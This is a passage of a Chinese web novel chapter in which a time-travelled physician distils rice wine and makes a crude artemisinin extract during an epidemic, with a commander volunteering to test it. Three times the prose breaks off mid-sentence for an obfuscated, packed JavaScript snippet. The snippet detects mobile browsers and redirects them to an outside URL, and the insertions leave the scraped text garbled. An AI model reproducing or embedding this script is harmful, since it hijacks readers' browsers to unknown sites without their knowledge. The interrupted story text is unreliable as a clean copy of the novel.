他今天竟是从头错到了尾!前几日都统让自己调查沈掌柜,原以为他是想揪出点差错,好捏在手里来日方便掌控,想不到是他多此一举了。 这么想来,都统从前曾不爱吃甜食,今日这酥山莫非......是给沈掌柜买的?! 想到这,亲卫连忙俯首:“末将失言,请都统责罚!” 一室默然。 冷汗从额头滴落,在地上积成了一小块水洼。 不知道过去了多久,久到亲卫差点痛苦流涕地当场失禁,傩川终于开口:“下不为例。” “滚吧。” 亲卫连连应下,仓皇逃去屋外,根本不敢再看傩川一眼,因此他也就没看到身后的都统大人那复杂又纠结的眼神。 傩川用食指狠狠地揉了揉自己的眉心。 他这是怎么回事?究竟为什么要发这么大的火气? 虽然方才亲卫的言辞有些过激,也有些不合事实了,但那与他又有和干?不过是几句闲言碎语,以前在兵营里的时候更加污秽难听的他都听过,也只是简单训斥几句就算过去了。 ......沈清落。 傩川兀自咀嚼着这三个字,眼前蓦地浮现出一双含笑的眉眼,和眼尾的一点红痣。 高兴的模样,生气的模样,替人诊治时认真的模样......还有傍晚吃酥山时满足的模样。 这些画面在他眼前一幅一幅地出现,任他如何凝神都挥不开。 明明只是时局下的权宜之计,等他的腿治好了,等他找到祸害自己那人的证据和把柄,他就立刻会离开。他现在似乎入戏太深了。 想到这,傩川怔注了。 对,说书人说到情深处尚且要掉两三点眼泪,何况他这个身在戏中之人呢? 只要腿治好,他就会毫不留恋地脱身离去,现在的一切都不过是逢场作戏。 面上归于平静,一直紧皱的眉头舒展开来。 傩川终于给自己刚才的异常表现找到了一个完美的解释。 ...... 虽然疫病的恐怖气息仍然笼罩在上方,但沈清落昨晚的的确确睡得还算不错。 好几日没睡过一个好觉了...... 走出房门,沈清落伸了个拦腰,迎接屋外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042841|178853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初升的朝阳,心情不知为何比前两日轻松了不少。 然而还没轻松两秒,疾奔过来的春桃就带来了不好的消息:“姑娘不好了!夏生又发起了热病,褥子都被汗水浸透了。” 闻言,沈清落连忙上楼查看。一阵手忙脚乱后,在床上因难受而不停扭动的夏生终于渐渐安静了下来。 沈清落轻手轻脚地退了出去。 春桃满面愁容:“姑娘,这可如何是好?药草的方子也吃了好几个了,夏生却是一直不见好。本来就没几两肉,这一折腾,更是骨瘦如柴了。” 沈清落叹了一口气:“我再想想办法。” 虽然她面上是这样和春桃说的,但她心里实际上已经有了一个主意。 昨天晚上从傩川的坊间出来后,她就一直在想疫病的事。这几天城里陆陆续续有许多人都发起了热病,且症状都大差不差。沈清落在观察了几天之后,基本已经可以确定,这就是痎疟了。 若是放在现代,痎疟算不上什么要人性命的绝症。但这是在古代,是在医疗落后,且没有先进的制药工具的时代。痎疟肆虐,绝对是要人性命的大病。 沈清落倒不是一点办法都没有,但这个方法,风险很高,且成功率完全无法保证。因此她不敢就这样堂而皇之地说给春桃听。 给人希望再给人绝望,那才是最残忍的。 她想得出神,也就没注意到撞到了一个人......一个轮椅。 沈清落惊呼了一声,反应过来后看到了傩川紧抿的嘴唇。 ? 不就撞了一下吗,而且都没撞到他人,痛的明明是自己,他怎么看上去像是受了天大的委屈一般。 沈清落困惑,但毕竟是她走路不长眼了,于是道歉道:“抱歉啊,不小心撞到你了。不过你怎么不出声啊?像猫儿一样。” “我叫你了,”傩川顿了顿,无奈道,“还叫了两遍。” “......” “那你怎的不让出道来,就让我直直地撞上了。” “你走太快,我还没来得及。” 沈清落这才注意到,傩川手下方的轮子,确实是拐了个弯的。 “......哦。” 她尴尬地笑了笑,正要离去,看着傩川那副无奈又不乐意搭理人的模样,突然想到了一个好点子。 “傩川你跟我来,我有要事和你说。” 话音刚落,沈清落就抓住了轮椅后面的手扶,推着人往账房走去。 傩川:? 沈清落开门见山:“我想制一种药,但是一个人不太方便,你愿不愿意帮我?” 她顿了一下,继续说道,“可能会有点危险......不过不会伤及性命。你若是不愿意也没关系。” 虽然嘴上这么说,但她眼神里分明充满了期待。 傩川看在眼里,在心里权衡起了利弊。 若是不答应,万一出了她所说的意外,伤到了手,即便不严重,她那看上去就柔弱的身子也不知道能不能受的住......很有可能接下来有一段时间都没法给自己治疗腿疾了; 若是答应,自己可能会受点伤,但总归是制药,至多是些皮肉伤,他常年奔赴在战场上,区区皮肉伤而已,并不会拿他如何。更何况......他还能借此留下个人情。 何乐而不为呢? “如何帮你?” 8. 制酒精 沈清落眼睛一亮:“你答应了!那可就不许反悔了。” “......” 傩川突然觉得,他方才做错了选择,不然怎么有种上了贼船的感觉? 沈清落所说的这个办法,其实就是青蒿素。 作为一个学医的人,青蒿素的制作方法她还是能够熟记于心的。若是放在现代,在各种各样高精仪器和无菌实验室里,制作青蒿素可以说完全不是什么困难的事。 然而这是在古代,且不说条件怎么样,单是一个材料的问题,就能把人难倒。 沈清落捋了捋自己的知识储备,首先她需要合适的溶剂,在现有的简陋条件下,□□是基本没可能获取了,可供替代的只有酒精。原材料所需要的黄花蒿,一般在路边或是坡地上都能看见。最困难的部分就是低温提取。 沈清落皱眉,如何才能在现有的条件下,尽可能安全地提取出纯度相对较高的青蒿素呢? 空想是不可能有结果的,她决定先尝试一下,若是成功,那便皆大欢喜,若是失败了,那再找另外的途径。 她唤来了春桃,告诉她黄花蒿的特征,让她尽可能多得去寻一些来。 春桃听后,“咦”了一声:“姑娘,这黄花蒿我记得许多药房里都有,不可以直接去买吗?” 沈清落摇了摇头,她要的是新鲜的,且尽量要是在开花之前或是开花初期采集的叶片和嫩枝。她将要求详细地告诉了春桃。 不过春桃说的也不乏道理,若是药房里能买到新鲜的黄花蒿,那就省去了一大麻烦。 沉吟片刻,沈清落又嘱咐道:“药房里的黄花蒿也买点回来看看。” 交代完春桃后,沈清落找来了一些存放的米酒,又问李铛头要来了一个煮饭用的大锅和一截用来做竹筒饭的长竹筒。 然而找遍整个膳堂,她都没找到想要的“天锅”。 她突然想起来,北陈这时候似乎已经有能用做简易蒸馏的装置了,虽然并不普及,但或许铁市里会有她想要的东西。 这件事情没法假借他人之手,可她又做不到将一口硕大的锅子独自搬回来,灵光一现,她想到了傩川。 且不说他身材健硕定能拿得动一口锅子,他便是将锅子放在腿上坐轮椅抱回来也是很不错的。 沈清落将这个想法说给傩川听时,他完好精致的面容上头一次出现了裂痕,他右眼止不住跳了几下:“你是说,让我一路抱着口锅子回来?” 沈清落突然有点心虚,她脑子里浮现出史铁生的那句“他没把我当残疾人,也没把我当人”。 她硬着头皮开口:“你方才还说答应我了!” “……” 傩川原以为只是制药,哪想过还要做苦力。但话已经说出去了,收回来却不是那么容易的,无奈开口:“没说不答应。” 沈清落眼睛一亮:“那你就是答应了!” “那可就不许反悔了!” 这是真的坐上贼船了。 * 西街铁市向来冷清,比不上临街都是食肆和商铺的街道来得热闹。即便是人多的时候,也很少能见女子出入,更别说行动不便的断腿人士了。 沈清落走在街上左右张望,目光扫过街两侧的各色店子,感受着卖家或是买家探究的眼神,走了大半条街都没找到自己想要的天锅。 傩川将她逐渐失望的神色看在眼里,开口问道:“你要寻的东西是什么样子的?我也好帮着一起找找。” 沈清落想了想,给他简单描述了一下,桶形,要大,顶部是凹下去的。 傩川一顿,伸手指了指前方距离他们四五个店铺的一家铁匠铺:“是那个吗?” 沈清落顺着他手指的方向看去,真的是她想要的天锅。原本打算若是找不到,便拿个普通的锅子找铁匠改造一下,只是会多费些功夫,没想到傩川竟一眼就找到了。 “傩川你太棒了!” 她兴奋地看过来,明亮的眸子如同六月里最亮的星。 傩川的心跳莫名漏了一拍。 回去的路上,傩川抱着一口大铁锅,下巴堪堪能越过边线,他再一次怀疑自己之前说出口的话。 路上行人不停地朝他们侧目——毕竟这组合还挺少见的,一个清丽的女子,后边跟着一个举着口锅子的傩面男子,那男子还坐在一个类似手推车的木椅上,只不过手推车只有一个轮子,而那男子身下是两个轮子。 好不容易煎熬地回到了膳堂,他又被沈清落拉去后院做什么“酒精蒸馏”。 只见她将一口普通大锅子架在柴火上,里面倒了大约一半的米酒,随后将刚买回来的天锅倒扣在上面,连接处塞上一圈湿布,安上一根长竹筒,在竹筒的末端放了一个瓷碗。 沈清落做完后,拍了拍手上的灰,满意道:“这样应该没问题了。” 说完她便急匆匆地进屋了,再回来时,手上端着一盆满满的井水。 她转头对傩川说:“有个很重要的任务交给你,等会生起火来之后你多看着点,旺火烧一炷香之后,记得转为文火。” 她舀了一瓢水倒入天锅中,随后便生起了火。 傩川照着她所说,控制着火候,而沈清落则聚精会神地看着天锅里的水和竹筒的出口。 好不容易碗里攒了点酒,沈清落却换了个碗,将原先碗里的酒尽数倒掉。 傩川忍不住开口:“为何倒了?” 沈清落:“刚开始蒸出来的酒里杂质很多,用不了。” “……” 蒸完一轮后,沈清落重复操作又蒸了几轮,傩川看着她认真的模样,弄得满手柴灰也不在乎,突然很好奇,她是如何得知的这些稀奇古怪的方法。 趁着沈清落被春桃唤去的空隙,傩川叫出了一直在暗中蛰伏的亲卫。 “都统,有何吩咐?” 亲卫紧紧盯着都统脚下的一小块地方,半分不敢乱瞟。莫不是有什么紧急任务交代给他?这次他可定要好好表现。 就在他绷紧肌肉严阵以待的时候,头顶却传来了轻飘飘的一句:“你知道什么是蒸馏吗?” 亲卫条件反射脱口而出:“是!” “?” 亲卫愣了愣,大脑飞速运转,半晌终于反应过来刚刚听到了什么。 他小心翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042842|178853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翼开口:“蒸……蒸馏?” 亲卫微微抬眼,余光瞟到了傩川身边摞放的整整齐齐的器具,其中一个锅子圆筒形状,甚是奇特。 他有些眼熟,细细回想了一下,似乎曾经在某家酒肆里见过,但并没有“蒸馏”这样的称呼。 他犹豫道:“都统,你说的可是‘烧酒’?” “……烧酒。”傩川喃喃道,“是做什么的?” “拒末将所知,是用来制酒的,烧过的酒通常会烈上不少,但这种方法并不常见。” 傩川耳廓一动,分辨出了沈清落的脚步声。 “知道了,退下吧。” 亲卫退下后,傩川再次将目光投放到那一摞锅碗瓢盆上,不知在想些什么。 沈清落从后门出来后,环顾一圈:“方才好像听见了交谈的声音,有谁来过吗?” 傩川淡道:“许是柴火燃烧的声音吧,你听错了。” 沈清落看了看已经熄灭的火堆,是这样吗…… “做出来的这酒你打算做什么?”傩川打断了她的思绪,“总归不是要吃酒。” “当然不是,”沈清落手指蘸了点瓷碗里的高浓度酒,放到鼻下轻轻闻了闻,“这是要用来做药的。” 用酒来做药?傩川知道烈酒可以用来给受伤的兵士处理外伤,也有些方子是以酒作引,但需要用到这么烈性的酒吗? 方才烧火的过程中他观察了一下,这种烈性的酒,怕是半碗就能喝倒一个酒量不错的男子。 沈清落顿了顿,补充道:“父亲的手稿里有记载这种方法,我也是第一次做。” 傩川垂目,方才她娴熟的模样可不像是第一次。 沈清落偷偷瞥了他一眼,提起的心又落了下去。成功获得酒精的激动让她差点忘了,古代可没有用这种方法制药的。索性圆回来了。 “令尊是……” 沈清落差点忘了,傩川可不知道她家里是做什么的,于是连忙简单地说了一下。提到沈父沈母相继落水时,沈清落的尾音带上了一丝哽咽。 傩川:“抱歉,害你想起伤心事了。” “无妨,”沈清落用衣角掩泪,“人总是要向前看的。” 她虽然没有原身的记忆,但提到沈父时,仍然心里蓦地抽搐了一下。或许原身也是在想念着父亲的吧。 她想起了自己的父亲,在现代的父亲。父亲一定不希望自己总是为他的离开而难过吧。所以她这句话既是对原身说的,也是对自己说的。 和傩川闲聊了几句后,她将院子里简单收拾了一下,端着瓷碗回到了膳堂。 “姑娘,我都已经做好了!”春桃见到她,面带喜色地说道。 沈清落让她将采集来的黄花蒿都放到通风干燥的地方进行晾晒,一部分则是而从药房里买来的则是先搁置一旁。 沈清落笑着鼓励了她,随后说道:“明日再去采写回来吧,叫上赵海一起。” 这两日患病的人多了起来,城中渐渐地已经起了一些猜测,人心惶惶,来膳堂的人都少了很多。 沈清落看向手中的粗制酒精,心中默默想着,希望能顺利吧。 9. 成功了 在等待黄蒿风干的时间里,沈清落也没闲着,她将春桃从药铺买来的黄蒿揉碎,用水浸泡后做成可供人饮用的黄蒿汁。虽然里面黄蒿的含量很低,但也聊胜于无。 夏生服下这简易黄蒿汁后,虽仍然反复发热,却也好了许多,至少能下床吃饭,有些力气了。 夏生沉默地喝着刚端来的还热乎的药膳汤,喝着喝着竟哽咽起来。 春桃先注意到了,她惊讶道:“怎么了夏生,有哪里不舒服吗?” 夏生只是一个劲地摇头,豆大的眼泪顺着脸颊滑落。 沈清落注意到了这边的动静,拿出贴身的帕子给他擦了擦脸。 “慢慢喝,小心呛着了。” 喝完最后一口汤底,夏生终于开口:“我、我给沈娘子添麻烦了……” 竟然是因为这个原因,沈清落无奈,心里泛起一点酸涩,心疼夏生小小年纪便如此懂事。 “这怎么会是添麻烦呢?因为小夏生在这里,所以我才能最快时间弄清楚大家都得了什么病呀。” “要说起来,我还得感谢小夏生呢。” 夏生抹去了眼角的泪水,睁着一双水灵灵的大眼睛看向沈清落:“……真的吗?” “我们姑娘从不骗人!”春桃在一旁说道。 沈清落思索片刻,说道:“我这两天在做一种新药,若是小夏生愿意,做完后你来帮我试药如何?” 夏生一怔,随即眼里爆发出了明亮的光芒:“我愿意!” 沈清落笑了笑,摸了摸夏生柔软的头发:“那便说好了,等药做出来了,我第一个告诉你。” “嗯!” 等拿去晾晒的黄蒿都已经干燥了,沈清落将这些黄蒿都收进来,叫来了春桃,想了想又把傩川也一并唤了过来。 “姑娘,这是要做什么呀?” 春桃捻起一点干燥的黄蒿,放到鼻下轻轻嗅了嗅。 沈清落:“春桃把这些黄蒿都切碎,傩川用这个捣药杵将切碎的黄蒿捣成粉末状,越细越好。” 弄完后,沈清落拿来这几日赶制的酒精,将已经成为粉末状的黄蒿都倒了进去。大功告成后,她拍了拍手:“过几天我们再来看看。” 正要遣散众人,傩川突然开口:“你真的会让夏生试药吗?” 沈清落愣住,不知道傩川为什么会问出这个问题。她打了个哈哈:“新做的药总归是要有人试的,夏生正好染着病,最合适不过了。” 然而傩川只是平静地看着她,不知为何,沈清落觉得自己真实的想法在他的眼中无所遁形。 春桃收起桌上的器具,说道:“是呀师父,夏生和我说,觉得自己什么忙都帮不上,还害得姑娘一直为了他忙前忙后。如今有个现成的机会,岂不是两全其美。” “是吗。” 抛下这两个字后,傩川转身出门。 * 两日后厨房内,沈清落正小心地蒸发滤液中的酒精,在黄蒿素尽可能少被破坏的情况下将其提取出来。之后她就地取材草木灰和白醋等常见的物品,通过搅拌和过滤,终于制得了一小碗高浓度的黄蒿素溶液。 沈清落看着手中散发出浓烈黄蒿气味的液体,提起的心却是一点都放不下去——条件有限的情况下,做出来的黄蒿素浓度且不说,是否安全还是个未知数。 她找来赵海,听说他的捕鼠能力是一绝,于是便将这个艰巨的任务交到了他手上。 没一会儿,赵海从店外进来,手里还提着几只活蹦乱跳的老鼠:“沈娘子,这只鼠可还行?” 沈清落惊讶:“这么快!这是去哪里抓来的?” 赵海嘻嘻一笑:“咱们猫儿桥巷别的不说,猫可是城里出了名的多,有猫的地方自然就有鼠。” 给老鼠喂下适量的黄蒿素后,沈清落目不转睛地盯着它们。一个时辰过去,老鼠仍旧活蹦乱跳的,没有显出丝毫的不适。隔日,木笼中的几只鼠仍旧好端端地活着。 沈清落呼出一口浊气,至少离成功又进了一步。然而最后一步,也是最困难的一步,便是在人的身上试药。 她自然不可能在这时候唤来夏生为她试药,她还没如此丧心病狂,前几日告诉夏生的那番说辞,也不过是让他能暂且安心的权宜之计罢了。 不过…… 那该找谁来试药呢? 沈清落出神地看着瓷碗里浑浊的液体,她将瓷碗拿了起来,一点点靠近嘴唇。 即将接触的一瞬间,身后的门被推开了。 “你在做什么?”傩川不带一丝感情的声音在身后响起。 沈清落回头,傩川没有带着面具,一张脸上却仍然叫人看不出情绪。 “啊……我没做什么,就是来看看做好的药。”沈清落心虚地开口,但她不知道自己为什么药心虚。 傩川盯着她看了几秒,旋即开口:“是吗?让我也看看。” 说着就推着轮椅向她靠近。 沈清落无奈,只好将手中的瓷碗递了过去。 傩川垂下眼睑,将碗送到鼻间,轻轻嗅了一下,随后将碗还给了沈清落。 “……怎么了?” 傩川哂笑:“我还以为你打算直接喝呢。” 被戳中心事的沈清落错开了和傩川相交的目光:“没有,你想多了,我就是简单闻一下。” “嗯。”傩川擦了擦手,“既然闻过了,那你接下去打算做什么?” “呃……”沈清落卡壳了,她接下去当然是要试药啊!但不知为何,她当着傩川的面没法将内心的想法直接说出来。她直觉说出来会发生她想象不到的后果。 傩川看着她,把她看得越来越心虚。 终于,在她即将缴械投降的前一秒,傩川开口:“试药的人找到了吗?” 沈清落很想说是,但是她有种在傩川的眼神底下无所遁形的感觉,嗫嚅了一下后诚实说道:“还没有。” 傩川看着她泄气的模样,觉得有些好笑,心里一动,脱口而出:“我来试吧。” “哦……”沈清落怔住,她刚刚听到了什么? “等等等等,你刚刚说什么?” 傩川抿了抿唇:“我说,你如果还没找到合适的试药的人,我可以帮你试。” 这下沈清落彻底听清了,但听清了不代表相信,她愣愣地看着傩川,完全没想到傩川会说出这样的话。 他是被夺舍了吗? “你确定?可是……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042843|178853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你之前不是说,需要我帮你制药,可能会有些危险?到现在为止,我除了帮你生火看火捣药,好像没做过什么危险的事吧。”傩川看着她平静地说道,“试药总归是个有危险的事了,答应过你的事,我也做到了。” “……” 沈清落压根没想到这方面,不得不说,傩川这责任心还是很优秀的。 但让她毫无心理负担地看着别人试药,还是她完全没有把握无毒无害的药,她做不到。 可能是看出了她的犹豫,傩川拿起瓷碗:“你若是觉得心有亏欠,那便快些帮我把腿治好。” 傩川顿了顿:“我记得你说过能治好。” 沈清落的确说过这话,在傩川被她捡回来后刚醒来的时候。她见傩川总是望着自己受伤的右腿出神,心里觉得不是滋味,帮他换药的时候便说她有信心帮他治好。 没想到傩川现在会把这事拿出来说。其实就算傩川今天不试药,她也是会尽全力帮他治腿的。 话说到这份上,沈清落觉得也没必要再做推拒,一来显得生分,二来这药其实也没那么危险,不然她也不会打算自己先喝喝看了。 只是她看着傩川将瓷碗中的液体一饮而尽时,心里某个角落好似被人揪住,有种一把夺下他手中瓷碗的冲动。 沈清落紧张地观察着傩川的反应,只等他一有什么不良症状就立马上手救治。所幸喝下去后,傩川只是有一点头晕乏力,再加上一点恶心。睡过一觉后便什么症状都消失了。 沈清落从打算制黄蒿素起就在心中装了数天的大石头终于落地,不管效果如何,至少现在有了一个可行的路子。 她将剩下的拿去给夏生,夏生见她端着瓷碗进来,眼睛瞬间亮了起来。 “沈娘子,这、这是需要我试药吗?” 沈清落眼前浮现出了傩川喝药的模样,唇角往上翘了翘:“是呀,这药究竟能不能治病,全看小夏生一会儿喝了之后的效果呢。” 听她这么一说,夏生干劲更足了,即便被难喝得直皱眉头,也仍然一滴不漏地将碗里的汤药都喝了下去。 喝完后,他用手抹了抹嘴,有些腼腆地说:“我觉得好多了。” 怕沈清落不相信,还特地挥舞了几下拳头:“真的!手上都有力气了不少。” 沈清落失笑,知道他是为了让她高兴特地做出来的样子,心疼他乖巧懂事的模样,于是伸手摸了摸他的头:“喝过药之后就睡一觉吧,说不定睡醒之后就全好了。” “嗯!” 替夏生掖好被子,沈清落下楼,她还有很多事情要做。 她要再多采一些药草,再多提纯一些酒精。更何况,只靠这十分粗陋的黄蒿素来治病是完全不够的,还需要从源头来入手——比如,提高大家的健康意识。 沈清落早就发现了,这个时代的普通百姓除非患了什么特别严重的疾病,一般不会选择找大夫治病,平时也没有什么养身和调理的概念。这就导致许多人到了要找大夫的时候,其实已经病入膏肓了。 沈清落叹了口气,她能理解,毕竟请大夫是一笔不小的开支,对那些连吃饱饭都成问题的家庭来说,实在是没有多余的财力来负担了。 她得想想办法。